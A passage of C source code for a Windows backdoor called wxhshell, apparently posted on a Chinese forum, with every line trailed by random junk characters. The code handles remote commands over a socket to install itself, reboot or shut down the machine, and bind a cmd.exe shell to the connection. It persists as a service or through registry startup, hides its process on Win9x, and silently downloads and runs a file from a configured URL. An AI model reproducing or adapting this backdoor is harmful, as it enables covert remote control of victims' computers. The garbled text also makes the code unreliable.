      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pQWHG#?7  
    break; #NNewzC<*  
  } NfzF.{nh  
  // 安装 ^jD1vUL 2:  
  case 'i': { v`DI<Lt  
    if(Install()) sx 9uV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3`F) AWzdr  
    else =Z,5$6%)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M#,Q ^rH#  
    break; H&4~Uo.5  
    } Rc[0aj:  
  // 卸载 zY=jXa)K~  
  case 'r': { OH6^GPF6  
    if(Uninstall()) &@v<nO-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?=Db@97  
    else O#eZ<hN V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9V 0}d2d  
    break; N|:'XwL  
    } Tum_aI  
  // 显示 wxhshell 所在路径 g|%L"-%gJ  
  case 'p': { C#Bz >2;#  
    char svExeFile[MAX_PATH]; |< qs  
    strcpy(svExeFile,"\n\r"); nJZ6? V  
      strcat(svExeFile,ExeFile); H(-4:BD?  
        send(wsh,svExeFile,strlen(svExeFile),0); UMMB0(0D  
    break; `bG7"o`  
    } @ -:]P8  
  // 重启 9em*r9-  
  case 'b': { {1-V]h.<J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iwF9[wAft  
    if(Boot(REBOOT)) iL]'y\?lv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6'C2SihYp  
    else { @f1*eo5f  
    closesocket(wsh); V[; M&=,"  
    ExitThread(0); y\c"b-lQX  
    } ,Zf 9RM  
    break; q]% T:A=  
    } /rc%O*R  
  // 关机 1(#;&:$`i  
  case 'd': { d 8o53a]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NHQF^2\\  
    if(Boot(SHUTDOWN)) \3XqHf3|o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%>kO,  
    else { m D58T2 Z  
    closesocket(wsh); jd-glE,Y/  
    ExitThread(0); K^[#]+nQ  
    } LnsD  
    break; Ao9R:|9  
    } DcD{*t?x  
  // 获取shell %O[N}_XHEh  
  case 's': { JXqr3 Np1  
    CmdShell(wsh); l$xxrb9P!  
    closesocket(wsh); GqKsK r2%  
    ExitThread(0); zaimGMJ ,  
    break; TQ@d~GR  
  } w#y0atsg'  
  // 退出 }8K4-[\  
  case 'x': { TbvtqM 0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b=;nm#cAI  
    CloseIt(wsh); 9~\kF5Q"  
    break; ^K(^I*q  
    } C.Uju`3  
  // 离开 pB:$lS  
  case 'q': { b~m2tC=AW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XMIbUbU k-  
    closesocket(wsh); hT g<*  
    WSACleanup(); N)2f7j4C &  
    exit(1); XXZaKgsq  
    break; IM@tN L  
        } 6IcNZ!j98  
  } cre;P5^E  
  } J3RB]O_  
<O<LYN+(  
  // 提示信息 (!L5-8O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `)iY}Iu  
} */qtzt  
  } 4,Ic}CvM  
\nNXxTxX!  
  return; dihjpI_  
} }yn0IWVa  
kRJ4-n^@><  
// shell模块句柄 '9p@vi{\  
int CmdShell(SOCKET sock) eV^d6T$  
{ YY((#"o;l  
STARTUPINFO si; D/ybFk  
ZeroMemory(&si,sizeof(si)); [lzN !!B!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; op2Of<{h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <x pph t<  
PROCESS_INFORMATION ProcessInfo; _ gj&$zP  
char cmdline[]="cmd"; M9\#Aq&\i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }|OaL*|u  
  return 0; >SF Uy\3  
} =ac_,]z  
&F *' B|n  
// 自身启动模式 82{&# Vc  
int StartFromService(void) 5 |0,X<&  
{ MM_k ]-7  
typedef struct #p(h]T32  
{ _9 .(a  
  DWORD ExitStatus; r|Z3$J{^"  
  DWORD PebBaseAddress; `:8J46or  
  DWORD AffinityMask; !LMN[3M_  
  DWORD BasePriority; Dr&('RZ4  
  ULONG UniqueProcessId; 1@48BN8cm'  
  ULONG InheritedFromUniqueProcessId; \*hrW(   
}   PROCESS_BASIC_INFORMATION; d_UN0YT<  
B(a-k?  
PROCNTQSIP NtQueryInformationProcess; v4,h&JLt  
?lGG|9J\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g,t jm(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b \KL;H/  
GE;e]Jkjn  
  HANDLE             hProcess; LsEXM-  
  PROCESS_BASIC_INFORMATION pbi; }0#U;_;D  
r`y ezbG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u-D dq~;|  
  if(NULL == hInst ) return 0; >2$5eI  
v,-{Z1N%m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G'2#9<c*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _/8FRkx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :bV mgLgG  
EF7+ *Q9  
  if (!NtQueryInformationProcess) return 0; S1 Z2_V  
kE>0M9EdH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); omO S=d!o  
  if(!hProcess) return 0; FuG4F  
.;y#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }jt?|dl1  
yzw mT  
  CloseHandle(hProcess); ]xC#rwHUC  
H&1[n U{?>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4 %PfrJ  
if(hProcess==NULL) return 0; cMyiW$;  
Q$& sTM  
HMODULE hMod; AqK z$  
char procName[255]; fx=Awba  
unsigned long cbNeeded; ,g-EW jN  
rk+#GO{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +;$oJJ  
](tx<3h  
  CloseHandle(hProcess); {2/LRPT  
<DKS+R  
if(strstr(procName,"services")) return 1; // 以服务启动 5$DHn ]  
q"O.Cbk  
  return 0; // 注册表启动 />¬$>  
} `p;eIt  
M;cO0UIwO  
// 主模块 0&qr  
int StartWxhshell(LPSTR lpCmdLine) bwVPtu`  
{ yKYUsp  
  SOCKET wsl; Qy<[7  
BOOL val=TRUE; gmIqT f  
  int port=0; EXP%Mk/  
  struct sockaddr_in door; rg0m a  
LmlXMia  
  if(wscfg.ws_autoins) Install(); &PkLp4mQ  
}X x(^Zh  
port=atoi(lpCmdLine); A(?\>X 9g  
M02uO`Y9  
if(port<=0) port=wscfg.ws_port; 4S~o-`&W  
h\plQ[T  
  WSADATA data; 8N:owK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &_JD)mM5  
CkJCi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gl1jxxd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,Jcm+ Wb  
  door.sin_family = AF_INET; ^w]/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lb'GXd %  
  door.sin_port = htons(port); vN 2u34  
obdFS,JxxG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ W2fd\4  
closesocket(wsl); 91Uj}n%  
return 1; iX0iRC6f  
} u6`=x$&  
#cj6{%c 4  
  if(listen(wsl,2) == INVALID_SOCKET) { fc/ &X  
closesocket(wsl); ? uYu`Ojzr  
return 1; .(pN5JI*  
} 8ElKD{.BU8  
  Wxhshell(wsl);  Z%I  
  WSACleanup(); ;'81jbh  
f|y:vpd%  
return 0; z4 &iK)x  
I^oE4o  
} !"e5~7  
n@ w^ V   
// 以NT服务方式启动 sA gKg=)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kdb(I@6  
{ ?"z]A7<Hj  
DWORD   status = 0; mxb06u _  
  DWORD   specificError = 0xfffffff; n}s~+USZX  
3Tn)Z1o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5 H#W[^s"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \rVQQ|l   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7' S@3   
  serviceStatus.dwWin32ExitCode     = 0; =)hVn  
  serviceStatus.dwServiceSpecificExitCode = 0; 3!5Ur&  
  serviceStatus.dwCheckPoint       = 0; O?<&+(uMTT  
  serviceStatus.dwWaitHint       = 0; _EF&A-kX|u  
Oy 2+b1{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j5 g# M  
  if (hServiceStatusHandle==0) return; + >cBVx6  
bzdb|I6Z  
status = GetLastError(); 0i8LWX_M  
  if (status!=NO_ERROR) a_h]?5 :c  
{  [ `]4P&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $9S(_xdI&  
    serviceStatus.dwCheckPoint       = 0; Y?ez9o:/#  
    serviceStatus.dwWaitHint       = 0; ^<LY4^  
    serviceStatus.dwWin32ExitCode     = status; R\XKMF3mN3  
    serviceStatus.dwServiceSpecificExitCode = specificError; CgzD$`~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y^]tahbo  
    return; u_7~TE3W  
  } *>VVt8*Et  
_ Ro!"YVX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l2;CQ7  
  serviceStatus.dwCheckPoint       = 0; E~LT b) !  
  serviceStatus.dwWaitHint       = 0; 9b?SHzAa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z<.?x%4O  
} Mwgu93?  
lo'W1p  
// 处理NT服务事件,比如:启动、停止 q5>v'ZSo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F@R1:M9*  
{ 3s"0SLS4  
switch(fdwControl) Q[+ac*F=Y  
{ 31EyDU,W  
case SERVICE_CONTROL_STOP: RZ1 /#;  
  serviceStatus.dwWin32ExitCode = 0; Fu^ ^i&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t%530EB3  
  serviceStatus.dwCheckPoint   = 0; _0 gKK2  
  serviceStatus.dwWaitHint     = 0; _gD pKEaY  
  { mrV!teP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N?X^O#[  
  } MLFKH  
  return; 0(_l|PScF  
case SERVICE_CONTROL_PAUSE: 0@2mXO9f"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?YeWH WM  
  break; IF]lHB  
case SERVICE_CONTROL_CONTINUE: Cuc$3l(%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t<n"-Tqu  
  break; @y31NH(  
case SERVICE_CONTROL_INTERROGATE: "QvmqI>  
  break; QMEcQV>  
}; (|wz7 AY2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R0oKbs{  
} :{(w3<i  
$<ld3[l i  
// 标准应用程序主函数 -R{V-   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y1=N F  
{ b,KcBQ.  
* !^<m0  
// 获取操作系统版本 X*,Kb(3   
OsIsNt=GetOsVer(); =!m}xdTP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -gQCn>"  
$cu00K  
  // 从命令行安装 Zs<KZGn-B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0zY(:;X  
w>b-} t  
  // 下载执行文件 JJRK7\~$  
if(wscfg.ws_downexe) { #lU9yv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }-~T<egF  
  WinExec(wscfg.ws_filenam,SW_HIDE); LL$_zK{  
} t\$U`V)  
R-^96fFBy  
if(!OsIsNt) { r\;ut4wy  
// 如果时win9x,隐藏进程并且设置为注册表启动 YIR R=qpn  
HideProc(); sl*5Y#,|1  
StartWxhshell(lpCmdLine); O0>A+o[1F  
} xAggn  
else "*O4GPj  
  if(StartFromService()) 2S' {!A  
  // 以服务方式启动 _j_x1.l  
  StartServiceCtrlDispatcher(DispatchTable); ' H7x L  
else d,$d~alY  
  // 普通方式启动 ,.gQ^^+=  
  StartWxhshell(lpCmdLine); 'EFyIVezg9  
z4E|Ai  
return 0; id?h>g  
}
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只看该作者 1 发表于: 2006-10-10
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